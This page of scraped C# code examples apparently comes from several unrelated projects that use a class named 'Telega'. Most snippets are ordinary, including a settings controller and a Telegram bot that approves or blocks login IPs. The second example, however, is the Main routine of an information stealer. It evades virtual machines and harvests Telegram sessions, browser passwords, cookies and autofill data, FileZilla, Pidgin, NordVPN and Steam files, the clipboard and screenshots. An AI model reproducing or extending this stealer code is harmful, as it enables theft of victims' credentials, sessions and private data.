Exemplo n.º 1
0
        static void GetMessage()
        {
            Telega telega = new Telega();
            var    tt     = telega.GetAllChatTelegram(); // тестовой получеие списка чатов с акауда

            // var message = telega.GetChatTelegram(); //самопистый, с записью в файл

            Console.WriteLine("Press any key to stop.");
            Console.ReadKey(true);
            // Console.WriteLine(message.ToString());
            Console.WriteLine("******************.");
            Console.ReadKey();
        }
Exemplo n.º 2
0
        public static void Main()
        {
            // Проверяем на запуск виртуальных машин ( Virtual Machine Check )
            if (!AntiVM.GetCheckVMBot() && !RunCheck.InstanceCheck())
            {
                Environment.Exit(0);
            }
            // Создаём папку куда будем всё собирать
            HomeDirectory.Inizialize();
            // Делаем проверку что папка создалась
            if (CombineEx.ExistsDir(GlobalPath.HomePath))
            {
                // Собираем данные ....
                Telega.GetSession(GlobalPath.Tdata, GlobalPath.TelegaHome, "*.*");
                MailFoxPassword.Inizialize();
                BuffBoard.Inizialize();
                NordVPN.Inizialize_Grabber();
                DynDns.Inizialize_Grabber();
                FileZilla.Inizialize_Grabber();
                Pidgin.Inizialize_Grabber();
                GetSteamFiles.Inizialize("*.", "*.vdf", "config", "Steam");
                InfoGrabber.Inizialize();
                ScreenShot.Inizialize(GlobalPath.Screen);

                // Сбор и вывод логинов и паролей
                Searcher.CopyInSafeDir(GlobalPath.LoginsPath, "Login Data");
                GetPasswords.Inizialize_Multi_file();

                // Сбор и вывод куки данных
                Searcher.CopyInSafeDir(GlobalPath.CookiesPath, "Cookies");
                GetCookies.Inizialize();

                // Сбор и вывод Автозаполнение форм
                Searcher.CopyInSafeDir(GlobalPath.WebDataPath, "Web Data");
                GetAutoFill.Inizialize_AutoFill();
            }
        }
Exemplo n.º 3
0
 public JsonResult TelegramBot(Telega tlg)
 {
     CommonModels.Update(tlg, jsonDB.TelegramBot, HttpContext, updateType: UpdateType.skip);
     return(new SettingsController().Save(jsonDB.Base, jsonDB.API, jsonDB.Security, tlg, jsonDB.BruteForceConf, null, IsAPI: true));
 }
Exemplo n.º 4
0
        public JsonResult Save(Base bs, API api, Security sc, Telega tlg, BruteForceConf BrutConf, IDictionary <string, WhiteListModel> whiteList, string PasswdRoot = null, string Passwd2FA = null, string salt = null, bool IsAPI = false)
        {
            #region Демо режим
            if (Platform.IsDemo)
            {
                return(Json(new Text("Операция недоступна в демо-режиме")));
            }
            #endregion

            #region Достаем даннные из whiteList
            // Список Id WhiteList
            IDictionary <string, IId> NewWhiteList = null;

            if (!IsAPI && whiteList != null)
            {
                // Записываем даннные из whiteList
                jsonDB.WhiteList.Values.UpdateOrAddRange(whiteList, out NewWhiteList);

                // Создаем новые Id
                foreach (var item in whiteList)
                {
                    if (item.Value != null && item.Value.Id == 0)
                    {
                        item.Value.Id = int.Parse(Generate.Passwd(6, true));
                    }
                }

                // Сохраняем значения
                jsonDB.WhiteList.LastUpdateToConf = DateTime.Now;
                jsonDB.Save();
            }
            #endregion

            #region Обновляем базу
            jsonDB.Base           = bs;
            jsonDB.Security       = sc;
            jsonDB.API            = api;
            jsonDB.TelegramBot    = tlg;
            jsonDB.BruteForceConf = BrutConf;
            jsonDB.Save();
            TelegramBot.CreateToOnCallback();
            #endregion

            // Меняем соль
            if (!string.IsNullOrWhiteSpace(salt))
            {
                if (salt.Length < 18)
                {
                    return(Json(new Text("Соль должена состоять минимум из 18 символов")));
                }

                PasswdTo.salt = salt;
            }

            #region Меняем пароль root
            if (!string.IsNullOrWhiteSpace(PasswdRoot))
            {
                if (PasswdRoot.Length < 6)
                {
                    return(Json(new Text("Пароль 'Root' должен состоять минимум из 6 символов")));
                }

                // Меняем пароль в файле
                System.IO.File.WriteAllText(Folders.Passwd + "/root", SHA256.Text(PasswdRoot));

                // Сессия
                string authSession = md5.text(DateTime.Now.ToBinary().ToString() + PasswdTo.salt);

                // Создаем сессию в базе
                coreDB.Auth_Sessions.Add(new AuthSession()
                {
                    IP               = HttpContext.Connection.RemoteIpAddress.ToString(),
                    Session          = authSession,
                    HashPasswdToRoot = SHA256.Text(SHA256.Text(PasswdRoot) + PasswdTo.salt),
                    Expires          = DateTime.Now.AddDays(10)
                });
                coreDB.SaveChanges();

                // Ставим куки
                HttpContext.Response.Cookies.Append("authSession", authSession);
            }
            #endregion

            // Меняем пароль 2FA
            if (!string.IsNullOrWhiteSpace(Passwd2FA))
            {
                if (Passwd2FA.Length < 6)
                {
                    return(Json(new Text("Пароль '2FA' должен состоять минимум из 6 символов")));
                }

                System.IO.File.WriteAllText(Folders.Passwd + "/2fa", SHA256.Text(Passwd2FA));
            }

            // Ответ
            if (IsAPI)
            {
                return(Json(new TrueOrFalse(true)));
            }

            // Отдаем сообщение и Id новых настроек WhiteList
            return(Json(new UpdateToIds("Настройки успешно сохранены", 0, NewWhiteList)));
        }
Exemplo n.º 5
0
        public static void CreateToOnCallback()
        {
            try
            {
                // Настройка
                tlg = Service.Get <JsonDB>().TelegramBot;
                Bot = new TelegramBotClient(tlg.Token);
                Bot.SetWebhookAsync("").Wait();

                // Callback
                Bot.OnCallbackQuery += async(object sc, CallbackQueryEventArgs ev) =>
                {
                    try
                    {
                        var message = ev.CallbackQuery.Message;
                        if (ev.CallbackQuery.Data.Contains("AuthCmd"))
                        {
                            // IP адрес
                            string IP = new Regex("([^\n\r\t ]+)([\n\r\t ]+)?$").Match(message.Text).Groups[0].Value;

                            #region Действие
                            switch (ev.CallbackQuery.Data)
                            {
                            case "AuthCmd-Access":
                            {
                                memoryCache.Set(GetKey(IP, message.Text.Contains("2FA")), (byte)0, TimeSpan.FromMinutes(20));
                                await Bot.SendTextMessageAsync(message.Chat.Id, $"Доступ для '{IP}' разрешен");

                                break;
                            }

                            case "AuthCmd-NotAccess":
                            {
                                await Bot.SendTextMessageAsync(message.Chat.Id, "Рекомендуем сменить пароли");

                                break;
                            }

                            case "AuthCmd-BlockedIP":
                            {
                                // Записываем IP в кеш IPtables
                                memoryCache.Set(KeyToMemoryCache.IPtables(IP), new IPtables("TelegramBot", DateTime.Now.AddHours(1)), TimeSpan.FromHours(1));
                                await Bot.SendTextMessageAsync(message.Chat.Id, $"IP '{IP}' заблокирован\nРекомендуем сменить пароли");

                                break;
                            }
                            }
                            #endregion

                            // Отсылаем пустое, чтобы убрать "часики" на кнопке
                            await Bot.AnswerCallbackQueryAsync(ev.CallbackQuery.Id);
                        }
                    }
                    catch { }
                };

                // Запускаем прием обновлений
                new System.Threading.Thread(() => Bot.StartReceiving()).Start();
            }
            catch { }
        }